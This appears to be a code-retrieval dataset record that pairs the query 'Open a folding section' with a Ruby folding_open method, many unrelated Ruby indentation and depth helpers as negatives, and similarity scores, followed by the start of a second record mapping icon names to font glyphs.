[ "def update_depth\n if depth?\n self.update_attribute(:depth, level)\n end\n self\n end", "def correct_indentation(node); end", "def depth\n @cur_level - @base_level + 1\n end", "def increment_indent\n\t\t\t@indent[-1] += 1\n\t\tend", "def indent\n @__indent__ ||= 0\n @__indent__ += indentation\n end", "def fixed_indent(n)\n self.outdent(self.level_of_indent).indent(n)\n end", "def apply_depth(depth)\n @min_depth = depth if depth < @min_depth\n end", "def process_current_level\n @previous_level = @current_level * 1\n leading_whitespace = self.class.get_leading_whitespace_from_text @text\n if leading_whitespace == \"\"\n @current_level = 0\n \n # If there is leading whitespace but indent_token is still empty string\n elsif @indent_token == \"\"\n @indent_token = leading_whitespace\n @current_level = 1\n \n # Else, set current_level to number of repetitions of index_token in leading_whitespace\n else\n i = 0\n while leading_whitespace.index(@indent_token) == 0 do\n leading_whitespace = leading_whitespace[@indent_token.length..-1]\n i += 1\n end\n @current_level = i\n end\n \n self\n end", "def reset_indentation!(modifier = 0)\n indent!(-find_least_indentation + modifier)\n end", "def reset_indentation(modifier = 0)\n indent(-find_least_indentation + modifier)\n end", "def indentation_level\n spaces = (@source.size - @stripped_source.size)\n spaces == 0 ? 0 : spaces / 2\n end", "def indent_level(line)\n count_indent(line)/$default_indent\nend", "def current_depth\n 0\n end", "def reset_indentation_length()\n puts \"reset_indentation_length\"\n end", "def depth\n @depth ||= to && to.depth + 1 || 0\n end", "def indent( mod = nil )\n #p [ self.id, level, mod, :INDENT ]\n if level <= 0\n mod ||= 0\n else\n mod ||= options(:Indent)\n mod += ( level - 1 ) * options(:Indent)\n end\n return \" \" * mod\n\t\tend", "def my_depth\n 1\n end", "def max_nesting=(depth)\n #This is a stub, used for indexing\n end", "def indentation\n \" \" * @indent_size * @indent_level\n end", "def unexpected_indent_offset\n configured_indentation_width - expected_indent_offset\n end", "def indent string, amount\n indent_string = ' ' * amount * INDENT_DEPTH\n string.gsub(/^/, indent_string)\n end", "def set_depth\n self.depth = self.reply_comment? ? self.commentable.depth + 1 : 0\n end", "def indent(modifier = 0)\n \" \" * (@options.fetch(:log_depth, log_depth) * 2 + modifier)\n end", "def indented\n \"#{INDENTATION * indents}#{original}\"\n end", "def indent(str, depth=2)\n space = \" \"*depth\n str.split(\"\\n\").join(\"\\n#{space}\").gsub(/^ *$/, \"\")\n end", "def depth(d)\n @depth = d\n self\n end", "def scope_depth depth_options, depth\n depth_options.inject(self.base_class) do |scope, option|\n scope_name, relative_depth = option\n if [:before_depth, :to_depth, :at_depth, :from_depth, :after_depth].include? scope_name\n scope.send scope_name, depth + relative_depth\n else\n raise Ancestry::AncestryException.new(\"Unknown depth option: #{scope_name}.\")\n end\n end\n end", "def reindent(lines, node, corrector); end", "def depth\n @options[:depth] += 1\n ret = yield\n @options[:depth] -= 1\n ret\n end", "def change_indent plus\n # nothing here\n end", "def decrement_indent\n\t\t\t@indent[-1] -= 1\n\t\tend", "def indent()\n #This is a stub, used for indexing\n end", "def depth\n children_depth + my_depth\n end", "def scope_depth depth_options, depth\n depth_options.inject(ancestry_base_class) do |scope, option|\n scope_name, relative_depth = option\n if [:before_depth, :to_depth, :at_depth, :from_depth, :after_depth].include? scope_name\n scope.send scope_name, depth + relative_depth\n else\n raise Ancestry::AncestryException.new(I18n.t(\"ancestry.unknown_depth_option\", scope_name: scope_name))\n end\n end\n end", "def resource_form_indentation(depth)\n (depth - 1) * 40\n end", "def indentation; end", "def indentation; end", "def set_default_indent(line)\n $default_indent = count_indent(line)\nend", "def update_self_and_descendants_depth\n if depth?\n scope_class.each_with_level(self_and_descendants) do |node, level|\n # node.with(:safe => true).set(:depth, level) unless node.depth == level\n node.set(depth: level) unless node.depth == level\n end\n self.reload\n end\n self\n end", "def unindent\n @__indent__ ||= 0\n @__indent__ -= indentation\n end", "def level_of_indent\n self.scan(/^ *(?=\\S)/).map { |space| space.length }.min || 0\n end", "def level_of_indent\n self.scan(/^ *(?=\\S)/).map { |space| space.length }.min || 0\n end", "def get_depth\n raise \"Not implemented\"\n end", "def with_indentation(spaces=0)\n alter do\n @with_indentation = !!spaces\n @indentation_num = spaces\n end\n end", "def normalize_indentation text\n lines = text.split(\"\\n\")\n return text if lines.empty?\n\n indent = if lines[0] =~ /^(\\s+)(.+?)$/\n $1.length\n else\n 0\n end\n lines.map{|l| l[indent..-1]}.join \"\\n\"\n end", "def indent(level=1)\n @indent_level += level\n begin\n yield\n ensure\n @indent_level -= level\n end\n end", "def with_indentation(spaces = 0)\n alter do\n @with_indentation = !!spaces\n @indentation_num = spaces\n end\n end", "def unexpected_indent_offset; end", "def get_depth(id)\n if id.nil?\n return 0\n end\n \n old_pairing = AssignmentPairing.find_by_assignment_id(id)\n if old_pairing.nil? \n return 0\n end\n\n old_pairing.depth + 1\n end", "def depth\n @traversal_position.depth\n end", "def indent_in\n @indent.slice!(-1, 1)\n end", "def indent!(amount, indent_string = nil, indent_empty_lines = false)\n indent_string = indent_string || self[/^[ \\t]/] || ' '\n re = indent_empty_lines ? /^/ : /^(?!$)/\n gsub!(re, indent_string * amount)\n end", "def indent; end", "def indent; end", "def indent; end", "def indent; end", "def indent; end", "def with_depth(name = 'depth', start: 0, as: nil)\n @depth = [name.to_s, start, as&.to_s] if recursive?\n end", "def depth=(depth)\n #This is a stub, used for indexing\n end", "def nesting_levels\n return unless @options.fetch :folder_limit\n\n tree&.path_length || @options.fetch(:nesting_levels)\n end", "def depth\n level = 0\n scopelist=[]\n if (doe_scope == \"hvac\")\n scopelist = @hvacLevel\n else\n scopelist = @envelopeLevel\n end\n scopelist.each_index do |index|\n scopelist[index].each do |name|\n if (@commandName == name )\n level = index\n end\n end\n end\n return level\n end", "def indent\n\t\tif @marked\n\t\t\tmark_row,row = ordered_mark_rows\n\t\t\tblock_indent(mark_row,row)\n\t\telse\n\t\t\taddchar(?\\t)\n\t\tend\n\tend", "def set_level current_depth, current_element,next_element\n if next_element.level > current_element.level\n current_depth.push current_element \n elsif next_element.level < current_element.level\n current_depth.pop \n end\n #if depths are equal, or next item doesn't exist, return same level\n current_depth\n end", "def _IndentedLine\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:_Indent)\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Line)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_IndentedLine unless _tmp\n return _tmp\n end", "def depth\n self[:depth]\n end", "def level_up\r\r\n return unless can_level\r\r\n return if @level == @max_level\r\r\n @level += 1\r\r\n if @special == nil then\r\r\n @special = 0\r\r\n end\r\r\n level_update\r\r\n end", "def indent!(amount, indent_string=nil, indent_empty_lines=false)\n indent_string = indent_string || self[/^[ \\t]/] || ' '\n re = indent_empty_lines ? /^/ : /^(?!$)/\n gsub!(re, indent_string * amount)\n end", "def level\n case\n when root? then 0\n when depth_column_could_be_used? then depth\n when parent_association_loaded? then parent.level + 1\n # @todo move it adapters\n else ancestors.size\n end\n end", "def look_deeper contexts, deep, max_item_depth = 9, max_aspect_depth = 9, item_depth = 0\n unless item_depth == 0\n deep = look_wider contexts, deep, max_aspect_depth, 0\n deep[:row] += 1\n end\n deep[:indents] ||= []\n # deep[:numberings] ||= []\n deep[:indents ][deep[:row]] = item_depth || 0\n # deep[:numberings][deep[:row]] = self.class.numbering_list || []\n self.class.numbering_push\n unless (item_depth += 1) >= max_item_depth\n items.each do |item|\n self.class.numbering_increment\n deep = (item.recursive_ref || item).look_deeper contexts, deep, max_item_depth, max_aspect_depth, item_depth\n end\n end\n self.class.numbering_pop\n item_depth -= 1\n deep\n end", "def make_depth(depth)\n if depth then\n @depth = depth\n else\n # There is no default depth, use the heuristic that the\n # depth is more or less equal to the bit width of the\n # largest argument type.\n @depth = @funcE.each_argT.map {|t| t.width }.max\n end\n # Resize the stackes according to the depth.\n @stack_sigs.each do |sig|\n sig.type.instance_variable_set(:@range,0..@depth-1)\n end\n @stack_ptr.type.instance_variable_set(:@range,(@depth+1).width-1..0)\n end", "def add_indentation!(p_size, p_type)\n self.replace(add_indentation(p_size, p_type))\n end", "def depth\n ancestors.count\n end", "def depth\n ancestors.count\n end", "def set_depth(id=0, d=0, depth=Hash.new)\n depth[id] = d\n set_depth(self[id].right, d, depth) if self[id].right != nil\n set_depth(self[id].left, d + 1, depth) if self[id].left != nil\n depth\n end", "def depth()\n #This is a stub, used for indexing\n end", "def nesting\n @parent ? @parent.nesting + 1 : 1\n end", "def level\n return 0 if root?\n\n @parent.level + 1\n end", "def block_depth=(value)\n #Thread.current[:block_depth] = value\n @@depth = value\n end", "def indentation(parents, last, symbols)\n i = parents.map do |parent_last|\n if !parent_last\n SYMBOLS[symbols][:has_parent]\n else\n SYMBOLS[symbols][:no_parent]\n end\n end\n\n if last\n i.join(\"\") + SYMBOLS[symbols][:last_item]\n else\n i.join(\"\") + SYMBOLS[symbols][:item]\n end\n end", "def list_indent_level\n @list_indent_stack.length\n end", "def list_indent_level\n @list_indent_stack.length\n end", "def indent!\n\t\t\tself << indent\n\t\tend", "def _OptionallyIndentedLine\n\n _save = self.pos\n while true # sequence\n _save1 = self.pos\n _tmp = apply(:_Indent)\n unless _tmp\n _tmp = true\n self.pos = _save1\n end\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Line)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_OptionallyIndentedLine unless _tmp\n return _tmp\n end", "def rebalance\n order = self.level_order\n return build_tree(order)\n end", "def test_depth=\n @br.depth = 100\n end", "def outdent(n)\n indent(-n)\n end", "def outdent(n)\n indent(-n)\n end", "def depth=(_arg0); end", "def depth_min; depths.min end", "def update_level\n #if is_literal?\n if @left_sentence.nil? && @right_sentence.nil?\n @level = @father.level\n else\n @level = @father.level + 1\n @left_sentence.update_level unless @left_sentence.nil?\n @right_sentence.update_level unless @right_sentence.nil?\n end\n end", "def get_indent_level(line)\n\t\tres = 0\n\t\twhile line[res] == \"\\t\"\n\t\t\tres += 1\n\t\tend\n\t\treturn res\n\tend", "def depth; end", "def TreeView_SetIndent(hwnd, indent) send_treeview_message(hwnd, :SETINDENT, wparam: indent) end", "def with_indent ()\n thread[:indent] += 1\n yield\n ensure\n thread[:indent] -= 1\n end", "def log_depth(depth)\n @max_depth = max(@max_depth,depth)\n end", "def max_level_depth\n MAXIMUM_LEVEL_DEPTH\n end", "def depth\n depth_support(self.root)\n end", "def level_up experience\n if experience > somenumber\n self.level += 1\n end\n end", "def level\n if parent.nil?\n 0\n else\n parent.level + 1;\n end\n end", "def indent(amount, indent_string = nil, indent_empty_lines = false)\n dup.tap { |_| _.indent!(amount, indent_string, indent_empty_lines) }\n end" ]
[ "0.6613887", "0.6342347", "0.63380563", "0.63377494", "0.6298908", "0.6174548", "0.6093325", "0.6072794", "0.6062438", "0.60514194", "0.6037487", "0.595944", "0.59318477", "0.59120476", "0.5905144", "0.59051174", "0.58327687", "0.5808543", "0.5755556", "0.57297194", "0.57017213", "0.56497705", "0.5640356", "0.55740273", "0.5572425", "0.55342466", "0.5532528", "0.55199057", "0.55175984", "0.5492087", "0.54820186", "0.54733676", "0.54711336", "0.5458746", "0.5452569", "0.54377556", "0.54377556", "0.54363734", "0.54221207", "0.5409345", "0.5399072", "0.5399072", "0.53558135", "0.5350761", "0.5350058", "0.5344575", "0.53360575", "0.5330549", "0.5306666", "0.53031176", "0.5279846", "0.52774686", "0.52736163", "0.52736163", "0.52736163", "0.52736163", "0.52736163", "0.527002", "0.52597684", "0.52589715", "0.52415055", "0.52392936", "0.52293736", "0.5223667", "0.5217601", "0.5216778", "0.51998216", "0.5198639", "0.51743656", "0.5159891", "0.51579505", "0.5149923", "0.5149923", "0.5143538", "0.5119089", "0.51158285", "0.5115449", "0.51084805", "0.51007247", "0.5088262", "0.5088262", "0.50882363", "0.50833255", "0.50729567", "0.5064147", "0.50635654", "0.50635654", "0.5054673", "0.50478184", "0.5034367", "0.5033963", "0.5030089", "0.5029907", "0.5021563", "0.5012335", "0.5008355", "0.49879333", "0.4982747", "0.49780592", "0.49754152" ]
0.6862533
0
Open a folding section. Returns the folding depth BEFORE folding_open().
def folding_open() self.folding_depth += 1 fh.puts FOLDING_OPEN if folding and not disabled folding_depth - 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_state() [ indent_depth, folding_depth ] end", "def directive_open( line )\n # return line && line.include?( get_tag(:open) )\n if line && line.include?( get_tag(:open) ) then\n # find index pointing _after_ :open tag\n # index = line.index( get_tag(:open) ) + get_tag(:open).length\n # # return text after directtive\n # return true, line[ index..-1]\n\n # do not output anything for the line\n return true, nil\n\n elsif line && line.include?( get_tag(:fold_on) ) then\n # output fold_on text instread\n return true, self.fold_on\n else\n return false, nil\n end\n end", "def depth\n @cur_level - @base_level + 1\n end", "def open_sidebar(cfg, sect)\n puts \"open sidebar #{sect}\"\n visited(sect[:title])\n #sect_h = @sections[sect_s]\n #sect_cls = sect_h['class']\n #@toc.each { |k,v| v.send(k == sect_cls ? :show : :hide) }\n @toc.each { |k, v| v.send(k == sect[:title] ? :show : :hide) }\n #@title.replace sect_s\n #@doc.clear(&dewikify_hi(sect_h['description'], terms, true)) \n @title.replace sect[:title]\n @doc.clear do\n show_doc(cfg, sect['intro'])\n end\n #add_next_link(@docs.index { |x,| x == sect_s }, -1) rescue nil\n app.slot.scroll_top = 0\n end", "def depth()\n #This is a stub, used for indexing\n end", "def sectnum(delimiter = '.', append = nil)\n append ||= (append == false ? '' : delimiter)\n if !@level.nil? && @level > 1 && @parent.is_a?(Section)\n \"#{@parent.sectnum(delimiter)}#{@number}#{append}\"\n else\n \"#{@number}#{append}\"\n end\n end", "def level\n length = 0\n cursor = self\n while cursor.parent_document\n length += 1\n cursor = cursor.parent_document\n end\n length\n end", "def depth\n PathExpression.range(path)[1]\n end", "def my_depth\n 1\n end", "def current_depth\n 0\n end", "def find_open(file) \n line = file.gets\n if line == nil then return end\n openings = {\"u\" => 0, \"d\" => 0, \"l\" => 0, \"r\" => 0 };\n # read additional lines\n while line = file.gets do\n # begins with \"path\", must be path specification\n if line[0...4] != \"path\" \n if line.include? \"u\"\n openings[\"u\"] += 1;\n end\n if line.include? \"d\"\n openings[\"d\"] += 1;\n end\n if line.include? \"l\"\n openings[\"l\"] += 1;\n end\n if line.include? \"r\"\n openings[\"r\"] += 1;\n end \n end\n end\n puts \"u: #{openings[\"u\"]}, d: #{openings[\"d\"]}, l: #{openings[\"l\"]}, r: #{openings[\"r\"]}\"\nend", "def depth; end", "def depth\n level = 0\n scopelist=[]\n if (doe_scope == \"hvac\")\n scopelist = @hvacLevel\n else\n scopelist = @envelopeLevel\n end\n scopelist.each_index do |index|\n scopelist[index].each do |name|\n if (@commandName == name )\n level = index\n end\n end\n end\n return level\n end", "def depth\n node = @kids.max {|k, j| k.depth <=> j.depth }\n node.depth + 1\n end", "def level\n return 0 if root?\n\n @parent.level + 1\n end", "def current_depth\n current = Fiber.current\n managed_fiber?(current) ? current.depth : 0\n end", "def open_mode(*modes)\n modes.inject(0) { |memo, obj| memo | OPEN_MODES[obj.to_sym].to_i }\n end", "def get_depth(id)\n if id.nil?\n return 0\n end\n \n old_pairing = AssignmentPairing.find_by_assignment_id(id)\n if old_pairing.nil? \n return 0\n end\n\n old_pairing.depth + 1\n end", "def level\n (@line[/^#+/] || '').size\n end", "def nesting\n @parent ? @parent.nesting + 1 : 1\n end", "def get_depth\n raise \"Not implemented\"\n end", "def depth\n self[:depth]\n end", "def next_open_index(index)\n (index...(index + @size)).each do |i|\n if i >= @size\n i = i % @size\n end\n\n if @nodes[i] == nil\n return i\n end\n end\n\n return -1\n end", "def num_open_cells(file)\n open_cells = 0\n\n while line = file.gets \n if line == nil then return end\n\n if line[0...4] != \"path\"\n x, y, ds, w = line.split(/\\s/,4)\n ds = ds.chars\n if(ds.length() == 4)\n open_cells+=1\n end\n end\n end\n return open_cells\nend", "def level\n case\n when root? then 0\n when depth_column_could_be_used? then depth\n when parent_association_loaded? then parent.level + 1\n # @todo move it adapters\n else ancestors.size\n end\n end", "def depth\n @options[:depth] += 1\n ret = yield\n @options[:depth] -= 1\n ret\n end", "def partial_book_depth(symbol:, level:, methods:)\n ws_single(\n stream: {\n symbol: symbol,\n type: 'depth',\n level: level,\n },\n methods: methods,\n )\n end", "def level\n return @state[:fiber][:level]\n end", "def level_index\n @level_index || 0\n end", "def level_index\n @level_index || 0\n end", "def depth=(_arg0); end", "def corner_open\n case \n when space_open?(1)\n 1\n when space_open?(3)\n 3\n when space_open?(7)\n 7\n when space_open?(9)\n 9\n end\n end", "def min_depth\n PathExpression.range(path)[0]\n end", "def open\n return nil if @open.nil?\n @open ? '1' : '0'\n end", "def find_next_in(parent, index)\n loop do\n while (c = parent.blocks[index])\n return c if c.context == :section && c.level <= @chunk_level\n\n index += 1\n end\n return unless parent.parent\n return unless (index = parent.parent.blocks&.find_index parent)\n\n parent = parent.parent\n index += 1\n end\n end", "def expand_section(name)\n page.within('#content-body') do\n page.within('section', text: name) do\n # Because it is possible to click the button before the JS toggle code is bound\n wait(reload: false) do\n click_button 'Expand' unless first('button', text: 'Collapse')\n\n page.has_content?('Collapse')\n end\n\n yield if block_given?\n end\n end\n end", "def stepOpen stepLabel\n step = findStepIndex(stepLabel)\n if @stepProgress[step][:open]\n true\n else\n #skip tests\n false\n end\n end", "def level\n if parent.nil?\n 0\n else\n parent.level + 1;\n end\n end", "def depth\n @depth ||= to && to.depth + 1 || 0\n end", "def depth(value)\n node = find(value)\n find_depth(node)\n end", "def depth(d)\n @depth = d\n self\n end", "def open(new_selector)\n case @state\n when :closed_block, :open_block\n combined_selector = [@selectors[-1], new_selector].compact.join(\" \")\n @selectors.push combined_selector\n new_property_set\n when :chain\n @selectors[-1] = \"#{@selectors[-1]}#{new_selector}\"\n new_property_set\n else\n raise \"#open not available when state is #{@state.inspect}\"\n end\n \n @state = :open_block\n end", "def open_block(new_selector)\n case @state\n when :closed_block, :open_block\n combined_selector = [@selectors[-1], new_selector].compact.join(\" \")\n @selectors.push combined_selector\n new_property_set\n when :chain\n @selectors[-1] = \"#{@selectors[-1]}#{new_selector}\"\n new_property_set\n else\n raise \"You can't get to :open_block from #{@state.inspect}\"\n end\n \n @state = :open_block\n end", "def indent_level(line)\n count_indent(line)/$default_indent\nend", "def depth\n if empty?\n 0\n else\n if @left==nil || @right==nil\n if (@left==nil&&@right==nil) then 1\n else -1\n end\n else\n left, right = @left.depth, @right.depth\n if left==-1||right==-1||left!=right then -1\n else 1+left\n end\n end\n end\n end", "def line_depth(line)\n whitespace = line.scan(/^([\\s]+)/).flatten.first\n if whitespace\n whitespace.length\n else\n 0\n end\n end", "def folding_ranges(filename); end", "def spot_op_cdecl\n nd_lhs, op, _nd_rhs = @node.children\n *nd_parent_lhs, _const = nd_lhs.children\n if @name == op\n @snippet = @fetch[nd_lhs.last_lineno]\n if @snippet.match(/\\G\\s*(#{ Regexp.quote(op) })=/, nd_lhs.last_column)\n @beg_column = $~.begin(1)\n @end_column = $~.end(1)\n end\n else\n # constant access error\n @end_column = nd_lhs.last_column\n if nd_parent_lhs.empty? # example: ::C += 1\n if nd_lhs.first_lineno == nd_lhs.last_lineno\n @snippet = @fetch[nd_lhs.last_lineno]\n @beg_column = nd_lhs.first_column\n end\n else # example: Foo::Bar::C += 1\n if nd_parent_lhs.last.last_lineno == nd_lhs.last_lineno\n @snippet = @fetch[nd_lhs.last_lineno]\n @beg_column = nd_parent_lhs.last.last_column\n end\n end\n end\n end", "def indentation_level\n spaces = (@source.size - @stripped_source.size)\n spaces == 0 ? 0 : spaces / 2\n end", "def top_level_section_count\n @top_level.items.size\n end", "def build_refinement(entry, ffs)\n @refinement = {}\n entry.each { |level,function|\n cfr = ControlFlowRefinement.new(function, level)\n ffs.each { |ff|\n next if ff.level != level\n cfr.add_flowfact(ff)\n }\n @refinement[level] = cfr\n }\n end", "def open_line\n committed_point_count - complete_point_count\n end", "def folding_range_provider\n attributes.fetch(:foldingRangeProvider)\n end", "def expand_fully\n expansion_level = 0\n while !expanded? && expansion_level < MAX_EXPANSION_LEVEL\n expansion_level += 1\n expand\n end\n end", "def depth_of(data_to_find)\n @depth = 0\n if @head.nil?\n return @depth\n else\n depth_search(data_to_find, head)\n end\n return @depth\n end", "def number_closed(file)\n numClosed = 0;\n line = file.gets\n if line == nil then return end\n # read additional lines\n while line = file.gets do\n # begins with \"path\", must be path specification\n if line[0...4] != \"path\" \n if (!(line.include? \"u\") && !(line.include? \"d\") &&\n !(line.include? \"l\") && !(line.include? \"r\"))\n numClosed += 1;\n end\n end\n end\n puts \"#{numClosed}\"\nend", "def open!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n\n\n\n type = OPEN\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 207:7: 'def'\n match( \"def\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n\n end", "def start_lvl(output, depth = 0, args = {})\n end", "def open(opt = {}, &block)\n return open_with_block(opt, block) if block\n\n open_without_block(opt)\n end", "def open_node_context(finder, cont = {})\n sub_context = node_context_vars(finder).merge(cont)\n\n with_context(sub_context) do\n yield\n end\n end", "def depth\n Sequel::SQL::NumericExpression.new(:NOOP, function(:depth, self))\n end", "def open\n @netcdf_elmt = NetcdfFile.open(@file_name)\n @root_group = @netcdf_elmt.findGroup(nil)\n end", "def depth_min; depths.min end", "def level\n return :row if @row\n return :importer\n end", "def update_depth\n if depth?\n self.update_attribute(:depth, level)\n end\n self\n end", "def depth\n @traversal_position.depth\n end", "def depth\n return codeArray.length\n end", "def open_section(label)\n find(:xpath, %Q(//.[@role=\"tab\"][contains(., \"#{label}\")])).click\n end", "def printDepthFirst()\n # println(\"printDepthFirst\");\n # # // global fileCounter\n # @fileCounter = 0;\n # printRealDepthFirst(0,-1);\n # println(fileCounter+\" files\");\n end", "def folds\n\t\t@lines.map{|l| l.folded_lines}\n\tend", "def fold_up\n fold_up = FoldUp.new(page_config, nodes.length + 1)\n yield fold_up\n @nodes << fold_up\n end", "def open_closed(choice)\r\n if choice == \"open\"\r\n puts \"u: #{$up}, d: #{$down}, l: #{$left}, r: #{$right}\"\r\n end\r\n if choice == \"closed\"\r\n puts \"#{$closedCell}\"\r\n end\r\n end", "def depth\n @locals.size\n end", "def depth\n depth_support(self.root)\n end", "def sections_section_index\n return @sections_current_index\n end", "def level\n is_root? ? nil : option_set.try(:level, depth)\n end", "def current_level\n @cur_level\n end", "def path_open?(index)\n\t\treturn element_props(index)['open-path']\n\tend", "def open_brace_pos(css, from, depth = 0)\n s = CharStringScanner.new(css[0..from].reverse)\n while (b = s.scan_next(BRACE_RE_REVERSE))\n depth += (b == '{' ? +1 : -1)\n break if depth.zero?\n end\n raise \"matching { brace not found\" unless depth.zero?\n from - s.pos + 1\n end", "def start_section(level, title)\n end", "def opening\n fetch('chess.openings')\n end", "def calculate_level\n # Increase level for every 10 lines cleared\n @level = @start_level + (@lines_cleared / 10).floor\n end", "def open_session\n positions = YAML::load(File.read(SESSION_FILE))\n\n @first_window = true\n @level = -1\n @dirs = [\"open_split\", \"open_v_split\"]\n\n open_windows(positions, @dirs[@level % 2])\n end", "def dfs\n closed = []\n fringe = initialize_fringe\n\n loop do\n return nil if fringe.empty? # No solution\n current = fringe.pop\n city = current[:city]\n return current if done? city # Found the solution?\n unless closed.include?(city) # Expand if we have not visited the city\n closed.push city\n fringe = fringe + expand(current) # Add to end for FILO\n end\n end\n end", "def depth\n @env.length\n end", "def depth\n @attributes[:depth]\n end", "def at_depth(depth)\n where \"NLEVEL(#{table_name}.#{ltree_path_column}) = ?\", depth\n end", "def folded_content\n `fold -s #{path}`\n end", "def depth\n ancestors.count\n end", "def depth\n ancestors.count\n end", "def push_local_depth\n <<-CODE\n next_int;\n k = (native_int)_int;\n next_int;\n t1 = c->active_context;\n for(j = 0; j < k; j++) {\n t2 = blokctx_env(state, t1);\n t1 = blokenv_get_home_block(t2);\n }\n stack_push(tuple_at(state, blokctx_locals(state, t1), _int));\n CODE\n end", "def opening_scene()\n\t\tval = next_scene(@start_scene)\n\t\treturn val\n\tend", "def nesting_levels\n return unless @options.fetch :folder_limit\n\n tree&.path_length || @options.fetch(:nesting_levels)\n end", "def block_depth=(value)\n #Thread.current[:block_depth] = value\n @@depth = value\n end", "def find_left_entry\n maze[0].each_with_index do |value, index|\n return index if value == open_value\n end\n end", "def level\n init unless @initialized\n level = level_to_sym(@level)\n end", "def open(file, mode='r', &block)\n if @default == :open_file\n open_file file, mode, &block\n else\n open_hg file, mode, &block\n end\n end", "def level\n root? ? 0 : ancestors.count\n end", "def print_test_flow_section (options={})\n options = {\n }.merge(options)\n\n in_test_flow_section = false\n # go thru file data\n @testflow_lines.each_index do |linenum|\n line = @testflow_lines[linenum]\n line.gsub!(/\\r/,\"\"); line.gsub!(/\\n/,\"\")\n\n if line =~ /^------/ && in_test_flow_section\n in_test_flow_section = false\n end\n\n\n if in_test_flow_section\n \n # close all groups for easier comparison\n if line =~ /, open,/\n line.gsub!(/, open,/,\", closed, \")\n end\n print \"#{line}\\n\"\n end\n\n if line =~ /^test_flow/\n in_test_flow_section = true\n end\n end\n\nend", "def get_level\n level = 1\n p = parent\n while !p.nil?\n level += 1\n p = p.parent\n end\n \n return level\n end" ]
[ "0.58478016", "0.5291918", "0.51431423", "0.5132863", "0.48570243", "0.4733624", "0.4700011", "0.4696231", "0.45631802", "0.45561734", "0.45274258", "0.45105538", "0.45083556", "0.44875476", "0.44813398", "0.44432002", "0.44333038", "0.4421071", "0.4408131", "0.43927804", "0.43881825", "0.4376489", "0.43633455", "0.43566054", "0.43388948", "0.43357223", "0.42702627", "0.4265058", "0.42614177", "0.42614177", "0.42593107", "0.42553213", "0.42477354", "0.42440784", "0.4235395", "0.42229494", "0.42201093", "0.42027324", "0.41869587", "0.41832405", "0.4173786", "0.4169397", "0.41555837", "0.41307256", "0.4118755", "0.4118239", "0.41182238", "0.41124195", "0.41018972", "0.409407", "0.40928861", "0.40911296", "0.40881", "0.40816954", "0.40662986", "0.4062838", "0.40613666", "0.40563804", "0.40535554", "0.40508127", "0.40496358", "0.40454793", "0.4037197", "0.40356448", "0.40330938", "0.40305266", "0.40301076", "0.4021696", "0.40209895", "0.40186867", "0.40121853", "0.4007791", "0.4001982", "0.3993325", "0.39811608", "0.39800587", "0.39788336", "0.39642113", "0.39610475", "0.39567247", "0.39555797", "0.39480126", "0.3947462", "0.39467913", "0.39455235", "0.3940491", "0.39402694", "0.3934664", "0.3925216", "0.3925216", "0.39249545", "0.3919333", "0.391465", "0.3911703", "0.39110574", "0.3910772", "0.39091936", "0.3906337", "0.39052904", "0.3903048" ]
0.8112801
0
icon mappers, for easy swapping
def icon_overview "dashboard" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def setup_icon\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n @icon_key = @acts[1]\n @icon_key = @acts[2] if @acts[2] && flip\n end", "def setup_icon\n return unless PONY::ERRNO::check_sequence(current_act)\n @icon_key = @acts[1]\n @icon_key = @acts[2] if @acts[2] && flip\n end", "def add_icons\n [:human, :computer].each do |player|\n @current_state[:pieces][player].each do |piece|\n row = piece.location[0]\n column = piece.location[1]\n @current_state[:position][row][column] = piece.icon\n end\n end\n end", "def icon ; @phase_shift ? 280 : nil ; end", "def icons\n {\n alert: \"\\uf101\",\n alert_circled: \"\\uf100\",\n android_add: \"\\uf2c7\",\n android_add_circle: \"\\uf359\",\n android_alarm_clock: \"\\uf35a\",\n android_alert: \"\\uf35b\",\n android_apps: \"\\uf35c\",\n android_archive: \"\\uf2c9\",\n android_arrow_back: \"\\uf2ca\",\n android_arrow_down: \"\\uf35d\",\n android_arrow_dropdown: \"\\uf35f\",\n android_arrow_dropdown_circle: \"\\uf35e\",\n android_arrow_dropleft: \"\\uf361\",\n android_arrow_dropleft_circle: \"\\uf360\",\n android_arrow_dropright: \"\\uf363\",\n android_arrow_dropright_circle: \"\\uf362\",\n android_arrow_dropup: \"\\uf365\",\n android_arrow_dropup_circle: \"\\uf364\",\n android_arrow_forward: \"\\uf30f\",\n android_arrow_up: \"\\uf366\",\n android_attach: \"\\uf367\",\n android_bar: \"\\uf368\",\n android_bicycle: \"\\uf369\",\n android_boat: \"\\uf36a\",\n android_bookmark: \"\\uf36b\",\n android_bulb: \"\\uf36c\",\n android_bus: \"\\uf36d\",\n android_calendar: \"\\uf2d1\",\n android_call: \"\\uf2d2\",\n android_camera: \"\\uf2d3\",\n android_cancel: \"\\uf36e\",\n android_car: \"\\uf36f\",\n android_cart: \"\\uf370\",\n android_chat: \"\\uf2d4\",\n android_checkbox: \"\\uf374\",\n android_checkbox_blank: \"\\uf371\",\n android_checkbox_outline: \"\\uf373\",\n android_checkbox_outline_blank: \"\\uf372\",\n android_checkmark_circle: \"\\uf375\",\n android_clipboard: \"\\uf376\",\n android_close: \"\\uf2d7\",\n android_cloud: \"\\uf37a\",\n android_cloud_circle: \"\\uf377\",\n android_cloud_done: \"\\uf378\",\n android_cloud_outline: \"\\uf379\",\n android_color_palette: \"\\uf37b\",\n android_compass: \"\\uf37c\",\n android_contact: \"\\uf2d8\",\n android_contacts: \"\\uf2d9\",\n android_contract: \"\\uf37d\",\n android_create: \"\\uf37e\",\n android_delete: \"\\uf37f\",\n android_desktop: \"\\uf380\",\n android_document: \"\\uf381\",\n android_done: \"\\uf383\",\n android_done_all: \"\\uf382\",\n android_download: \"\\uf2dd\",\n android_drafts: 